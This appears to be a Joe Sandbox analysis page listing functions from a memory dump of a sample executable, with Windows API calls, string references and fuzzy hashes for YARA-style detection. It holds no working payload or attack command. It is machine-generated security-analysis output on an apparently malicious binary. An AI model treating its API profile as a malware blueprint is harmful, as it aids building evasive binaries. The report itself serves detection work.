Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 8766fa1328682df51ecbbe5235eeb744788178b755f8e5463de750d3383ddfa7
Instruction ID: 2e2511e00f173ed24f91db08ebb2f633980194e489ca2475acfbe75456217f13
Opcode Fuzzy Hash: 8766fa1328682df51ecbbe5235eeb744788178b755f8e5463de750d3383ddfa7
Instruction Fuzzy Hash: 2611A173501558BFEF1A9FA59C58EEA7F6AFF183E4F001215FA0452010C732ACA0DB91

Function 00603B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00603B56

Part of subcall function 00603AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00603AD2
Part of subcall function 00603AA3: ___AdjustPointer.LIBCMT ref: 00603AED

_UnwindNestedFrames.LIBCMT ref: 00603B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00603B7C
CallCatchBlock.LIBVCRUNTIME ref: 00603BA4

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 17dd6a0f2ac6bc6aaec403dc518c93f01a195016322d95b491e7440bbfa302e2
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: D0018C72140148BBCF166E95CC42EEB3F6EEF98759F044008FE0856261C732E961DBA4

Function 00613073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,005E13C6,00000000,00000000,?,0061301A,005E13C6,00000000,00000000,00000000,?,0061328B,00000006,FlsSetValue), ref: 006130A5
GetLastError.KERNEL32(?,0061301A,005E13C6,00000000,00000000,00000000,?,0061328B,00000006,FlsSetValue,00682290,FlsSetValue,00000000,00000364,?,00612E46), ref: 006130B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0061301A,005E13C6,00000000,00000000,00000000,?,0061328B,00000006,FlsSetValue,00682290,FlsSetValue,00000000), ref: 006130BF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 4726c1fcac142d75aa5e6459f35204fa1ba1f9f816cdf5617e7d7b8faad505b9
Instruction ID: f05bca7425851dcc664940a568c90d370c1dd626f5413accd4cf6b340b33fd3f
Opcode Fuzzy Hash: 4726c1fcac142d75aa5e6459f35204fa1ba1f9f816cdf5617e7d7b8faad505b9
Instruction Fuzzy Hash: CC01D832301632ABD7214B799C449D77BDA9F09772B150624F91BE7340D721DA81C7E0

Function 00647464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 0064747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00647497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 006474AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 006474CA

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: e4c5dbc91632f22bc78175acb88ecdc398193265fdb763829054963be5557e34
Instruction ID: 9256ecd75a093bd99d5c5936ba612b4d48123a90f470f43536391b77282cf462
Opcode Fuzzy Hash: e4c5dbc91632f22bc78175acb88ecdc398193265fdb763829054963be5557e34
Instruction Fuzzy Hash: 2211ADB1205314ABE720CF24DC08BA27BFEEB00B10F10856DE61AD6191D7B0E944DBA0

Function 0064B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0064ACD3,?,00008000), ref: 0064B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0064ACD3,?,00008000), ref: 0064B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0064ACD3,?,00008000), ref: 0064B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0064ACD3,?,00008000), ref: 0064B126

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 8942aa9869c7ce20b72d456734edf86d09d9428b5c6677f6cf1da9a2ffa751e8
Instruction ID: 8e264d3dbea6274315dee880d1cc63a7d9ab3d3c5a79174af2a9216390a78d0c
Opcode Fuzzy Hash: 8942aa9869c7ce20b72d456734edf86d09d9428b5c6677f6cf1da9a2ffa751e8
Instruction Fuzzy Hash: 7E115B31C0152DEBCF08AFE4E9596EEBB7AFF4A721F105099D941B3281CB309651CB51

Function 00677E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00677E33
ScreenToClient.USER32(?,?), ref: 00677E4B
ScreenToClient.USER32(?,?), ref: 00677E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00677E8A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 810f1ff83f9a45c474703220dc62c521dd4b0003ba32e38c743459ee36826b97
Instruction ID: cbb00be72dc5106997993a8e1d77f6d56453504f0406a39938f4a78bde6c0a30
Opcode Fuzzy Hash: 810f1ff83f9a45c474703220dc62c521dd4b0003ba32e38c743459ee36826b97
Instruction Fuzzy Hash: A51156B9D0020AAFDB41DF98D8849EEBBF5FF18310F509056E915E3210D735AA94CF51

Function 00642DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00642DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00642DD6
GetCurrentThreadId.KERNEL32 ref: 00642DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00642DE4

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 65409767d2d93c5636fc97562b3b15cbca871a01546ee8a7202233c88d1addb6
Instruction ID: 8576f7343c2893ba23577501087e878647310d7284fadfca2d8c9328ffd90e0c
Opcode Fuzzy Hash: 65409767d2d93c5636fc97562b3b15cbca871a01546ee8a7202233c88d1addb6
Instruction Fuzzy Hash: 6CE092715016247BD7241B729C4DFEB7E6EEF42BB1F901019F109D1080DAA4C881D6B0

Function 00678863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 005F9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 005F9693
Part of subcall function 005F9639: SelectObject.GDI32(?,00000000), ref: 005F96A2
Part of subcall function 005F9639: BeginPath.GDI32(?), ref: 005F96B9
Part of subcall function 005F9639: SelectObject.GDI32(?,00000000), ref: 005F96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00678887
LineTo.GDI32(?,?,?), ref: 00678894
EndPath.GDI32(?), ref: 006788A4
StrokePath.GDI32(?), ref: 006788B2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: ce92acc621c8703f220ffa639ae10fcc16ac31b43d6c108105d1667d6b3d3b7a
Instruction ID: 5e27b77e99d8352de38b31670a28aeae78b138e107cb45c2e8dfc9b0f60a5901
Opcode Fuzzy Hash: ce92acc621c8703f220ffa639ae10fcc16ac31b43d6c108105d1667d6b3d3b7a
Instruction Fuzzy Hash: 8FF03A36041259FADB126F94AC0DFCA3F5BAF06320F448104FA15651E1C7755591CBE5

Function 005F98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 005F98CC
SetTextColor.GDI32(?,?), ref: 005F98D6
SetBkMode.GDI32(?,00000001), ref: 005F98E9
GetStockObject.GDI32(00000005), ref: 005F98F1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: cd984835f3dbd3bd48f8736b0bab5c4b5fbb01e52179e36237f2f5ff0255ee8f
Instruction ID: 6e9b70728cbce01838cad707598660d3d875be0dbdebfa2a13db6e2ff499ccd9
Opcode Fuzzy Hash: cd984835f3dbd3bd48f8736b0bab5c4b5fbb01e52179e36237f2f5ff0255ee8f
Instruction Fuzzy Hash: 70E06531244644ABDB215B78AC09BE83F52EB12335F14822DF6F9540E1C77156909B10

Function 0064162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00641634
OpenThreadToken.ADVAPI32(00000000,?,?,?,006411D9), ref: 0064163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,006411D9), ref: 00641648
OpenProcessToken.ADVAPI32(00000000,?,?,?,006411D9), ref: 0064164F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: a2f47e2c7e6153d9935fb21f98a900f2ad2ec3cefb239abd1acb0c73384b5e8e
Instruction ID: 646d90af61c434e89474feca7c7c495343660da654b9f16224cdcd1526033251
Opcode Fuzzy Hash: a2f47e2c7e6153d9935fb21f98a900f2ad2ec3cefb239abd1acb0c73384b5e8e
Instruction Fuzzy Hash: FCE08C32602211EBD7201FB0AE0DF863B7EAF457B2F15880CF249DD090E63484C0CBA4

Function 0063D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0063D858
GetDC.USER32(00000000), ref: 0063D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0063D882
ReleaseDC.USER32(?), ref: 0063D8A3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1a8473ca3657abdfc000e5b0e218639203e1cafb6dcac6385b6af8f8e3a07255
Instruction ID: 82fa44212a2f62002e61accf0584bc90d3dbc3b2ac6ad125a34de1f6f88a853e
Opcode Fuzzy Hash: 1a8473ca3657abdfc000e5b0e218639203e1cafb6dcac6385b6af8f8e3a07255
Instruction Fuzzy Hash: D2E01AB0800205EFCB45AFB0D84C66DBFB7FB08320F209409E85AE7250DB389982AF50

Function 0063D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0063D86C
GetDC.USER32(00000000), ref: 0063D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0063D882
ReleaseDC.USER32(?), ref: 0063D8A3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 3ed3eaf65832504ed9b9ca70983433b23eddf24b32dbd2947455043fb7b64935
Instruction ID: 10066a98af996a3704b8288cba628a5d2a4f54dde91bed38ad7003864ad7cb36
Opcode Fuzzy Hash: 3ed3eaf65832504ed9b9ca70983433b23eddf24b32dbd2947455043fb7b64935
Instruction Fuzzy Hash: 30E01A70C00204DFCB45AFB0D84C66DBFB6BB08320B109408E95AE7250DB3859819F50

Function 00654D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 005E7620: _wcslen.LIBCMT ref: 005E7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00654ED4

Strings

*, xrefs: 00654E10
LPT, xrefs: 00654DFB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 5c090654b3689ce594414b6163321f2a60f7f02dc5ddfcdeb7e492d2155d2c51
Instruction ID: f34b961228da997e26cd3d70436179e2c03c543804863219fc820fa39e062ff7
Opcode Fuzzy Hash: 5c090654b3689ce594414b6163321f2a60f7f02dc5ddfcdeb7e492d2155d2c51
Instruction Fuzzy Hash: 739173759002459FCB14DF58C484EA9BBF2BF88308F1580D9E84A5F362DB35ED89CB50

Function 00667771 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0063569E,00000000,?,0067CC08,?,00000000,00000000), ref: 006678DD

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

CharUpperBuffW.USER32(0063569E,00000000,?,0067CC08,00000000,?,00000000,00000000), ref: 0066783B

Strings

<sj, xrefs: 006677C8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: BuffCharUpper$_wcslen
String ID: <sj
API String ID: 3544283678-2068146069
Opcode ID: f8e74ea6c1e5fc4a1d6a397ec21a9996e0a8c6f554416e691a5aefc370d8691f
Instruction ID: a5cc7efd6a6735d47313bdb7ed375a05859cc1c8713a6ffa264baee9cc85246e
Opcode Fuzzy Hash: f8e74ea6c1e5fc4a1d6a397ec21a9996e0a8c6f554416e691a5aefc370d8691f
Instruction Fuzzy Hash: E161813291415AAACF08EBA1CC95DFDBBB6BF58304F544529F582B3191EF306E45CBA0

Function 005FE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 005FE1B1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 0cee19cda1bdef2b8f3d5d91492fff26a5db01cceeb4d74b56b7f3e5c00646d4
Instruction ID: cdae4c833df9a9a7a33aef2152984eabc8209e49284ae82ba1c944223545f352
Opcode Fuzzy Hash: 0cee19cda1bdef2b8f3d5d91492fff26a5db01cceeb4d74b56b7f3e5c00646d4
Instruction Fuzzy Hash: 5951343990024ADFDB18DF28C4866FA7FBAFF55310F644055E9919B2E0E7359D42CBA0

Function 005FF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 005FF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 005FF2BB

Strings

@, xrefs: 005FF2AF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 79ec74633974209ddd6306f98a0edee82ddd779f15e9429ac5cdb74dc2697425
Instruction ID: a2555f878326fc32a29baf9e829d467e266b294c70717ba8a3e3b1ec01ed151a
Opcode Fuzzy Hash: 79ec74633974209ddd6306f98a0edee82ddd779f15e9429ac5cdb74dc2697425
Instruction Fuzzy Hash: 75514B714087899BD320AF11DC8ABABBBF9FFC5300F81485DF1E941195EB319529CB66

Function 00665745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 006657E0
_wcslen.LIBCMT ref: 006657EC

Strings

CALLARGARRAY, xrefs: 006657E6, 006657EB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 9deb724c52bde26eadc73fa757dcb4bffe5808b1bab758f024a07488306142c1
Instruction ID: 5469f388a368fb9cac80e0a438c52fb4857760f1cd044ed5d89bf32df3964a1d
Opcode Fuzzy Hash: 9deb724c52bde26eadc73fa757dcb4bffe5808b1bab758f024a07488306142c1
Instruction Fuzzy Hash: 51418171A0021A9FCB14DFA9C8869FEBBB6FF59320F14406DE506A7351E7349D81CB90

Function 0065D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0065D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0065D13A

Strings

|, xrefs: 0065D10B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: af86a9ffd3962c1bab60a20903c0ec5a61d6da757d281f563d0278ab14f65dc2
Instruction ID: 2824db03310b95f1d9f89957c81b4a459792e2d758373c8fbb16c4b49a1ef84f
